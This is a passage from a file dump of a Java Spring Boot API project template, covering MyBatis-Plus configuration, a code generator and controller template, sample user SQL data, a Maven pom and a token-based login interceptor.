IPage<User> iPage = userService.page(page);\n        return ResultGenerator.genSuccessResult(iPage);\n    }\n\n    @ApiOperation(value = \"id查询\")\n    @GetMapping(\"getById/{id}\")\n    public Result findById(@PathVariable Long id){\n        return ResultGenerator.genSuccessResult(userService.getById(id));\n    }\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/main/resources/application-dev.yml",
    "content": "# 开发环境配置\nspring:\n  datasource:\n    dynamic:\n      primary: master #设置默认的数据源或者数据源组,默认值即为master\n      datasource:\n        master:\n          username: root\n          password:\n          driver-class-name: com.mysql.cj.jdbc.Driver\n          url: jdbc:mysql://localhost:3306/test?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8\n        slave_1:\n          username: root\n          password: 123456\n          driver-class-name: com.mysql.cj.jdbc.Driver\n          url: jdbc:mysql://xx.xx.xx.xx:3307/dynamic?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8\n        slave_2:\n          username: root\n          password: 123456\n          driver-class-name: com.mysql.cj.jdbc.Driver\n          url: jdbc:mysql://xx.xx.xx.xx:3308/dynamic?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8\n        #......省略\n        #以上会配置一个默认库master，一个组slave下有两个子库slave_1,slave_2\nmybatis-plus:\n  configuration:\n    log-impl: org.apache.ibatis.logging.stdout.StdOutImpl\n  mapper-locations: classpath:mapper/*.xml\n  global-config:\n    db-config:\n      logic-delete-value: 1\n      logic-not-delete-value: 0\n"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/main/resources/application-prod.yml",
    "content": "# 生产环境配置\nknife4j:\n  production: true #生成环境禁用查看接口文档\n"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/main/resources/application-test.yml",
    "content": "# 测试环境配置\n"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/main/resources/application.yml",
    "content": "spring:\n  profiles:\n    active: dev\n  mvc:\n    throw-exception-if-no-handler-found: true\n  resources:\n    add-mappings: false\n  application:\n    name: Springboot-api\n  jackson:\n    date-format: yyyy-MM-dd HH:mm:ss\n    time-zone: GMT+8\nserver:\n  port: 8080\n"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/main/resources/banner.txt",
    "content": "////////////////////////////////////////////////////////////////////\n//                          _ooOoo_                               //\n//                         o8888888o                              //\n//                         88\" . \"88                              //\n//                         (| ^_^ |)                              //\n//                         O\\  =  /O                              //\n//                      ____/`---'\\____                           //\n//                    .'  \\\\|     |//  `.                         //\n//                   /  \\\\|||  :  |||//  \\                        //\n//                  /  _||||| -:- |||||-  \\                       //\n//                  |   | \\\\\\  -  /// |   |                       //\n//                  | \\_|  ''\\---/''  |   |                       //\n//                  \\  .-\\__  `-`  ___/-. /                       //\n//                ___`. .'  /--.--\\  `. . ___                     //\n//              .\"\" '<  `.___\\_<|>_/___.'  >'\"\".                  //\n//            | | :  `- \\`.;`\\ _ /`;.`/ - ` : | |                 //\n//            \\  \\ `-.   \\_ __\\ /__ _/   .-` /  /                 //\n//      ========`-.____`-.___\\_____/___.-`____.-'========         //\n//                           `=---='                              //\n//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^        //\n//            佛祖保佑       永不宕机     永无BUG                    //\n////////////////////////////////////////////////////////////////////"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/main/resources/mapper/UserMapper.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<mapper namespace=\"com.company.project.dao.UserMapper\">\n\n        <!-- 通用查询映射结果 -->\n        <resultMap id=\"BaseResultMap\" type=\"com.company.project.model.User\">\n                    <id column=\"id\" property=\"id\"/>\n                    <result column=\"username\" property=\"username\"/>\n                    <result column=\"password\" property=\"password\"/>\n                    <result column=\"nick_name\" property=\"nickName\"/>\n                    <result column=\"sex\" property=\"sex\"/>\n                    <result column=\"create_date\" property=\"createDate\"/>\n                    <result column=\"create_user\" property=\"createUser\"/>\n                    <result column=\"update_date\" property=\"updateDate\"/>\n                    <result column=\"update_user\" property=\"updateUser\"/>\n                    <result column=\"del_flag\" property=\"delFlag\"/>\n        </resultMap>\n\n        <!-- 通用查询结果列 -->\n        <sql id=\"Base_Column_List\">\n            id, username, password, nick_name, sex, create_date, create_user, update_date, update_user, del_flag\n        </sql>\n\n</mapper>"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/test/java/CodeGenerator.java",
    "content": "import com.baomidou.mybatisplus.core.toolkit.StringPool;\nimport com.baomidou.mybatisplus.generator.AutoGenerator;\nimport com.baomidou.mybatisplus.generator.InjectionConfig;\nimport com.baomidou.mybatisplus.generator.config.*;\nimport com.baomidou.mybatisplus.generator.config.po.TableInfo;\nimport com.baomidou.mybatisplus.generator.config.rules.DateType;\nimport com.baomidou.mybatisplus.generator.config.rules.NamingStrategy;\nimport com.baomidou.mybatisplus.generator.engine.FreemarkerTemplateEngine;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n// 演示例子，执行 main 方法控制台输入模块表名回车自动生成对应项目目录中\npublic class CodeGenerator {\n\n\n    //多个表逗号分隔\n    static String tableName = \"user_copy\";\n    //逻辑删除字段名, 假如表没有逻辑删除字段，请忽视\n    static String logicDeleteFieldName = \"del_flag\";\n\n    public static void main(String[] args) {\n        // 代码生成器\n        AutoGenerator mpg = new AutoGenerator();\n\n        // 全局配置\n        GlobalConfig gc = new GlobalConfig();\n        String projectPath = System.getProperty(\"user.dir\");\n        gc.setOutputDir(projectPath + \"/src/main/java\");\n        gc.setAuthor(\"aitangbao\");\n        gc.setOpen(false);\n        gc.setBaseColumnList(true);\n        gc.setBaseResultMap(true);\n        gc.setDateType(DateType.ONLY_DATE);\n        // gc.setSwagger2(true); 实体属性 Swagger2 注解\n        mpg.setGlobalConfig(gc);\n\n        // 数据源配置\n        DataSourceConfig dsc = new DataSourceConfig();\n        dsc.setUrl(\"jdbc:mysql://localhost:3306/project?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=UTC\");\n        // dsc.setSchemaName(\"public\");\n        dsc.setDriverName(\"com.mysql.cj.jdbc.Driver\");\n        dsc.setUsername(\"root\");\n        dsc.setPassword(\"123456\");\n        mpg.setDataSource(dsc);\n\n        // 包配置\n        PackageConfig pc = new PackageConfig();\n        pc.setParent(\"com.company.project\");\n        pc.setEntity(\"model\");\n        pc.setMapper(\"dao\");\n        pc.setController(\"web\");\n        mpg.setPackageInfo(pc);\n\n        // 自定义配置\n        InjectionConfig cfg = new InjectionConfig() {\n            @Override\n            public void initMap() {\n                // to do nothing\n            }\n        };\n\n        // 如果模板引擎是 freemarker\n        String templatePath = \"/templates/mapper.xml.ftl\";\n        // 如果模板引擎是 velocity\n        // String templatePath = \"/templates/mapper.xml.vm\";\n\n        // 自定义输出配置\n        List<FileOutConfig> focList = new ArrayList<>();\n        // 自定义配置会被优先输出\n        focList.add(new FileOutConfig(templatePath) {\n            @Override\n            public String outputFile(TableInfo tableInfo) {\n                // 自定义输出文件名 ， 如果你 Entity 设置了前后缀、此处注意 xml 的名称会跟着发生变化！！\n                return projectPath + \"/src/main/resources/mapper/\" + tableInfo.getEntityName() + \"Mapper\" + StringPool.DOT_XML;\n            }\n        });\n        cfg.setFileOutConfigList(focList);\n        mpg.setCfg(cfg);\n\n        // 配置模板\n        TemplateConfig templateConfig = new TemplateConfig();\n\n        // 配置自定义输出模板\n        //指定自定义模板路径，注意不要带上.ftl/.vm, 会根据使用的模板引擎自动识别\n//         templateConfig.setEntity(\"templates/entity.java\");\n        // templateConfig.setService();\n         templateConfig.setController(\"templates/controller.java\");\n\n        templateConfig.setXml(null);\n        mpg.setTemplate(templateConfig);\n\n        // 策略配置\n        StrategyConfig strategy = new StrategyConfig();\n        strategy.setNaming(NamingStrategy.underline_to_camel);\n        strategy.setColumnNaming(NamingStrategy.underline_to_camel);\n//        strategy.setSuperEntityClass(\"你自己的父类实体,没有就不用设置!\");\n        strategy.setEntityLombokModel(true);\n        strategy.setRestControllerStyle(true);\n        // 公共父类\n//        strategy.setSuperControllerClass(\"你自己的父类控制器,没有就不用设置!\");\n        // 写于父类中的公共字段\n//        strategy.setSuperEntityColumns(\"id\");\n        strategy.setInclude(tableName.split(\",\"));\n        strategy.setControllerMappingHyphenStyle(true);\n        strategy.setLogicDeleteFieldName(logicDeleteFieldName); // 逻辑删除字段名称\n        strategy.setTablePrefix(pc.getModuleName() + \"_\");\n        mpg.setStrategy(strategy);\n        mpg.setTemplateEngine(new FreemarkerTemplateEngine());\n        mpg.execute();\n    }\n\n}"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/test/java/com/company/project/Tester.java",
    "content": "package com.company.project;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n/**\n * 单元测试\n */\n@RunWith(SpringRunner.class)\n@SpringBootTest(classes = Application.class)\npublic class Tester {\n\n    @Test\n    public void test() {\n\n    }\n}\n\n\n\n"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/test/resources/templates/controller.java.ftl",
    "content": "package ${package.Controller};\n\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport com.company.project.core.Result;\nimport com.company.project.core.ResultGenerator;\nimport io.swagger.annotations.ApiImplicitParam;\nimport io.swagger.annotations.ApiImplicitParams;\nimport org.springframework.web.bind.annotation.*;\nimport ${package.Service}.${table.serviceName};\nimport ${package.Entity}.${entity};\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport lombok.extern.slf4j.Slf4j;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\n\nimport javax.annotation.Resource;\n<#if restControllerStyle>\nimport org.springframework.web.bind.annotation.RestController;\n<#else>\nimport org.springframework.stereotype.Controller;\n</#if>\n<#if superControllerClassPackage??>\nimport ${superControllerClassPackage};\n</#if>\n\n/**\n * <p>\n * ${table.comment!} 前端控制器\n * </p>\n *\n * @author ${author}\n * @since ${date}\n */\n<#if restControllerStyle>\n@Api(tags = {\"${table.comment!}\"})\n@Slf4j\n@RestController\n<#else>\n@Controller\n</#if>\n@RequestMapping(\"<#if package.ModuleName??>/${package.ModuleName}</#if>/<#if controllerMappingHyphenStyle??>${controllerMappingHyphen}<#else>${table.entityPath}</#if>\")\n<#if kotlin>\nclass ${table.controllerName}<#if superControllerClass??>:${superControllerClass}()</#if>\n<#else>\n<#if superControllerClass??>public class ${table.controllerName} extends ${superControllerClass}{\n<#else>public class ${table.controllerName} {\n</#if>\n\n    @Resource\n    private ${table.serviceName} ${(table.serviceName?substring(1))?uncap_first};\n\n\n    @ApiOperation(value = \"新增${table.comment!}\")\n    @PostMapping(\"add\")\n    public Result add(@RequestBody ${entity} ${entity?uncap_first}){\n        ${(table.serviceName?substring(1))?uncap_first}.save(${entity?uncap_first});\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"删除${table.comment!}\")\n    @PostMapping(\"delete/{id}\")\n    public Result delete(@PathVariable(\"id\") Long id){\n        ${(table.serviceName?substring(1))?uncap_first}.removeById(id);\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"更新${table.comment!}\")\n    @PostMapping(\"update\")\n    public Result update(@RequestBody ${entity} ${entity?uncap_first}){\n        ${(table.serviceName?substring(1))?uncap_first}.updateById(${entity?uncap_first});\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"查询${table.comment!}分页数据\")\n    @ApiImplicitParams({\n        @ApiImplicitParam(name = \"currentPage\", value = \"页码\"),\n        @ApiImplicitParam(name = \"pageCount\", value = \"每页条数\")\n    })\n    @GetMapping(\"listByPage\")\n    public Result findListByPage(@RequestParam Integer currentPage,\n                                   @RequestParam Integer pageCount){\n        Page page = new Page(currentPage, pageCount);\n        IPage<${entity}> iPage = ${(table.serviceName?substring(1))?uncap_first}.page(page);\n        return ResultGenerator.genSuccessResult(iPage);\n    }\n\n    @ApiOperation(value = \"id查询${table.comment!}\")\n    @GetMapping(\"getById/{id}\")\n    public Result findById(@PathVariable Long id){\n        return ResultGenerator.genSuccessResult(${(table.serviceName?substring(1))?uncap_first}.getById(id));\n    }\n\n}\n</#if>"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/test/resources/user.sql",
    "content": "/*\n Navicat Premium Data Transfer\n\n Source Server         : localhost\n Source Server Type    : MySQL\n Source Server Version : 50529\n Source Host           : localhost:3306\n Source Schema         : project\n\n Target Server Type    : MySQL\n Target Server Version : 50529\n File Encoding         : 65001\n\n Date: 08/01/2020 15:53:02\n*/\n\nSET NAMES utf8mb4;\nSET FOREIGN_KEY_CHECKS = 0;\n\n-- ----------------------------\n-- Table structure for user\n-- ----------------------------\nDROP TABLE IF EXISTS `user`;\nCREATE TABLE `user`  (\n  `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键',\n  `username` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT '用户名',\n  `password` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT '密码',\n  `nick_name` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT '昵称',\n  `sex` int(1) NULL DEFAULT NULL COMMENT '性别',\n  `create_date` datetime NULL DEFAULT NULL COMMENT '创建时间',\n  `create_user` int(11) NULL DEFAULT NULL COMMENT '创建人',\n  `update_date` datetime NULL DEFAULT NULL COMMENT '修改时间',\n  `update_user` int(11) NULL DEFAULT NULL COMMENT '修改人',\n  `del_flag` int(1) NULL DEFAULT 0 COMMENT '删除标志0未删 1删除',\n  PRIMARY KEY (`id`) USING BTREE\n) ENGINE = InnoDB AUTO_INCREMENT = 11 CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;\n\n-- ----------------------------\n-- Records of user\n-- ----------------------------\nINSERT INTO `user` VALUES (1, 'admin', '9dc818b4bca3baa7d230fbf96c919638', '土豆', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (2, '2@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-2', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (3, '3@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-3', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (4, '4@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-4', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (5, '5@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-5', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (6, '6@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-6', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (7, '7@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-7', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (8, '8@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-8', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (9, '9@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-9', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (10, '10@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-10', 1, NULL, NULL, NULL, NULL, 0);\n\nSET FOREIGN_KEY_CHECKS = 1;\n"
  },
  {
    "path": "java_project_template/jun_api_service_main/doc/user.sql",
    "content": "SET NAMES utf8mb4;\nSET FOREIGN_KEY_CHECKS = 0;\n\n-- ----------------------------\n-- Table structure for user\n-- ----------------------------\nDROP TABLE IF EXISTS `sys_user`;\nCREATE TABLE `sys_user`  (\n  `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键',\n  `username` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT '用户名',\n  `password` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT '密码',\n  `nick_name` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT '昵称',\n  `sex` int(1) NULL DEFAULT NULL COMMENT '性别',\n  `create_date` datetime NULL DEFAULT NULL COMMENT '创建时间',\n  `create_user` int(11) NULL DEFAULT NULL COMMENT '创建人',\n  `update_date` datetime NULL DEFAULT NULL COMMENT '修改时间',\n  `update_user` int(11) NULL DEFAULT NULL COMMENT '修改人',\n  `del_flag` int(1) NULL DEFAULT 0 COMMENT '删除标志0未删 1删除',\n  PRIMARY KEY (`id`) USING BTREE\n) ENGINE = InnoDB AUTO_INCREMENT = 11 CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;\n\n-- ----------------------------\n-- Records of user\n-- ----------------------------\nINSERT INTO `sys_user` VALUES (1, 'admin', '9dc818b4bca3baa7d230fbf96c919638', '用户', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `sys_user` VALUES (2, '2@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '用户-2', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `sys_user` VALUES (3, '3@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '用户-3', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `sys_user` VALUES (4, '4@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '用户-4', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `sys_user` VALUES (5, '5@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '用户-5', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `sys_user` VALUES (6, '6@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '用户-6', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `sys_user` VALUES (7, '7@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '用户-7', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `sys_user` VALUES (8, '8@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '用户-8', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `sys_user` VALUES (9, '9@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '用户-9', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `sys_user` VALUES (10, '10@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '用户-10', 1, NULL, NULL, NULL, NULL, 0);\n\nSET FOREIGN_KEY_CHECKS = 1;\n"
  },
  {
    "path": "java_project_template/jun_api_service_main/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>com.jun.plugin</groupId>\n    <artifactId>jun_api_service_main</artifactId>\n    <version>1.0</version>\n    <packaging>jar</packaging>\n\n    <properties>\n        <java.version>1.8</java.version>\n        <mybatis-plus.version>3.3.0</mybatis-plus.version>\n    </properties>\n\n    <!-- Inherit defaults from Spring Boot -->\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.5.14</version>\n        <relativePath/>\n    </parent>\n\n    <dependencies>\n\n        <!--Spring Boot依赖-->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jdbc</artifactId>\n        </dependency>\n        <!--redis依赖配置-->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-data-redis</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <!--MyBatis 及 插件依赖-->\n        <!--<dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>dynamic-datasource-spring-boot-starter</artifactId>\n            <version>2.5.5</version>\n        </dependency>-->\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-boot-starter</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-generator</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <version>1.18.26</version>\n            <scope>provided</scope>\n        </dependency>\n\n\n        <!--常用库依赖-->\n        <dependency>\n            <groupId>commons-codec</groupId>\n            <artifactId>commons-codec</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-lang3</artifactId>\n            <version>3.6</version>\n        </dependency>\n        <!--MySQL JDBC驱动-->\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <scope>runtime</scope>\n        </dependency>\n\n        <!--阿里 FastJson依赖-->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>fastjson</artifactId>\n            <version>1.2.47</version>\n        </dependency>\n        <!--阿里 Druid Spring Boot Starter依赖-->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid-spring-boot-starter</artifactId>\n            <version>1.1.10</version>\n        </dependency>\n        <!--代码生成器依赖-->\n        <dependency>\n            <groupId>org.freemarker</groupId>\n            <artifactId>freemarker</artifactId>\n            <version>2.3.30</version>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>com.github.xiaoymin</groupId>\n            <artifactId>knife4j-spring-boot-starter</artifactId>\n            <version>2.0.2</version>\n        </dependency>\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n            <version>5.8.18</version>\n            <scope>compile</scope>\n        </dependency>\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>javax.validation</groupId>\n            <artifactId>validation-api</artifactId>\n        </dependency>\n    </dependencies>\n\n\n    <repositories>\n        <repository>\n            <id>aliyun-repos</id>\n            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n            <snapshots>\n                <enabled>false</enabled>\n            </snapshots>\n        </repository>\n    </repositories>\n\n    <pluginRepositories>\n        <pluginRepository>\n            <id>aliyun-plugin</id>\n            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n            <snapshots>\n                <enabled>false</enabled>\n            </snapshots>\n        </pluginRepository>\n    </pluginRepositories>\n\n</project>"
  },
  {
    "path": "java_project_template/jun_api_service_main/src/main/java/com/jun/plugin/system/ApiServiceApplication.java",
    "content": "package com.jun.plugin.system;\n\nimport java.net.InetAddress;\nimport java.net.UnknownHostException;\n\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.boot.CommandLineRunner;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.boot.web.servlet.ServletComponentScan;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.ComponentScan;\nimport org.springframework.core.env.Environment;\n\nimport com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceAutoConfigure;\n\nimport cn.hutool.core.lang.Console;\nimport cn.hutool.extra.spring.SpringUtil;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.scheduling.annotation.EnableScheduling;\n\n@Slf4j\n@EnableScheduling\n@SpringBootApplication(exclude = DruidDataSourceAutoConfigure.class) // 多数据源 (exclude = DruidDataSourceAutoConfigure.class)\n@MapperScan({\"com.jun.plugin.**.mapper\",\"com.bjc.lcp.**.mapper\"})\n@ComponentScan(basePackages = {\"com.bjc.lcp\",\"com.jun.plugin\"})\n@ServletComponentScan(basePackages = {\"com.jun.plugin.**.filter\"})\npublic class ApiServiceApplication {\n\n    public static void main(String[] args) throws UnknownHostException {\n        SpringApplication app = new SpringApplication(ApiServiceApplication.class);\n        Environment env = app.run(args).getEnvironment();\n        log.info(\"\\n----------------------------------------------------------\\n\\t\" +\n                        \"Application '{}' is running! Access URLs:\\n\\t\" +\n                        \"Local: \\t\\thttp://localhost:{}\\n\\t\" +\n                        \"External: \\thttp://{}:{}\\n\\t\" +\n                        \"Knife4j: \\thttp://localhost:{}/doc.html\\n\" +\n                        \"SwaggerUI: \\thttp://localhost:{}/swagger-ui.html\\n\" +\n                        \"----------------------------------------------------------\",\n                env.getProperty(\"spring.application.name\"),\n                env.getProperty(\"server.port\"),\n                InetAddress.getLocalHost().getHostAddress(),\n                env.getProperty(\"server.port\"),\n                env.getProperty(\"server.port\"),\n                env.getProperty(\"server.port\"));\n        Console.log(env.getProperty(\"server.port\"));\n        log.info(\"profiles = \" + SpringUtil.getProperty(\"spring.profiles.active\"));\n        log.info(\"url = \" + SpringUtil.getProperty(\"spring.datasource.url\"));\n        log.info(\"context = \" + SpringUtil.getProperty(\"spring.groovy-api.context\"));\n        //SpringApplication.run(GroovyDemoApplication.class, args);\n    }\n\n    @Bean\n    public CommandLineRunner commandLineRunner(ApplicationContext ctx) {\n        return args -> {\n            System.out.println(\"Let's inspect the beans provided by Spring Boot:\");\n            String[] beanNames = ctx.getBeanDefinitionNames();\n            System.err.println(\"beanNames size = \"+ beanNames.length);\n            for (String beanName : beanNames) {\n                //System.err.println(beanName);\n\t\t\t\t/*\n\t\t\t\t * Object bean = ctx.getBean(beanName); System.out.println(bean);\n\t\t\t\t * System.out.println();\n\t\t\t\t */\n            }\n\n        };\n    }\n\n\n\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_main/src/main/java/com/jun/plugin/system/configurer/LoginInterceptor.java",
    "content": "package com.jun.plugin.system.configurer;\n\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.JSONObject;\nimport com.jun.plugin.system.core.Result;\nimport com.jun.plugin.system.core.ResultCode;\nimport com.jun.plugin.system.service.HttpSessionService;\nimport org.apache.commons.lang3.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.servlet.handler.HandlerInterceptorAdapter;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport java.io.IOException;\n\n/**\n * @author wenbin\n * @since 2019/10/30 15:29\n * <p>登陆拦截器\n */\npublic class LoginInterceptor extends HandlerInterceptorAdapter {\n\n    @Autowired\n    private HttpSessionService httpSession;\n\n    private final Logger logger = LoggerFactory.getLogger(WebMvcConfigurer.class);\n\n    @Override\n    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {\n        //用户当前session信息\n        JSONObject currentSession;\n        //拦截接口\n        //从header中获取token\n        String token = request.getHeader(\"token\");\n        //如果header中不存在token，则从参数中获取token\n        if (StringUtils.isBlank(token)) {\n            token = request.getParameter(\"token\");\n        }\n        //token为空返回\n        if (StringUtils.isBlank(token)) {\n            Result result = new Result();\n            result.setCode(ResultCode.UNAUTHORIZED).setMessage(\"token不能为空\").setSuccess(false);\n            responseResult(response, result);\n            return false;\n        }//  校验并解析token，如果token过期或者篡改，则会返回null\n        currentSession = httpSession.getCurrentSession();\n        if (null != currentSession) {\n            return true;\n        } else {\n            Result result = new Result();\n            result.setCode(ResultCode.UNAUTHORIZED).setMessage(\"用户未登陆!\").setSuccess(false);\n            responseResult(response, result);\n            return false;\n        }\n    }\n\n\n    private void responseResult(HttpServletResponse response, Result result) {\n        response.setCharacterEncoding(\"UTF-8\");\n        response.setHeader(\"Content-type\", \"application/json;charset=UTF-8\");\n        try {\n            response.getWriter().write(JSON.toJSONString(result));\n        } catch (IOException ex) {\n            logger.error(ex.getMessage());\n        }\n    }\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_main/src/main/java/com/jun/plugin/system/configurer/WebMvcConfigurer.java",
    "content": "package com.jun.plugin.system.configurer;\n\nimport java.io.IOException;\nimport java.nio.charset.Charset;\nimport java.util.Arrays;\nimport java.util.List;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.serializer.SerializerFeature;\nimport com.alibaba.fastjson.support.config.FastJsonConfig;\nimport com.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter;\n\nimport com.jun.plugin.system.core.Result;\nimport com.jun.plugin.system.core.ResultCode;\nimport com.jun.plugin.system.core.ResultGenerator;\nimport com.jun.plugin.system.core.ServiceException;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.http.MediaType;\nimport org.springframework.http.converter.HttpMessageConverter;\nimport org.springframework.web.bind.MethodArgumentNotValidException;\nimport org.springframework.web.bind.annotation.ExceptionHandler;\nimport org.springframework.web.method.HandlerMethod;\nimport org.springframework.web.servlet.HandlerExceptionResolver;\nimport 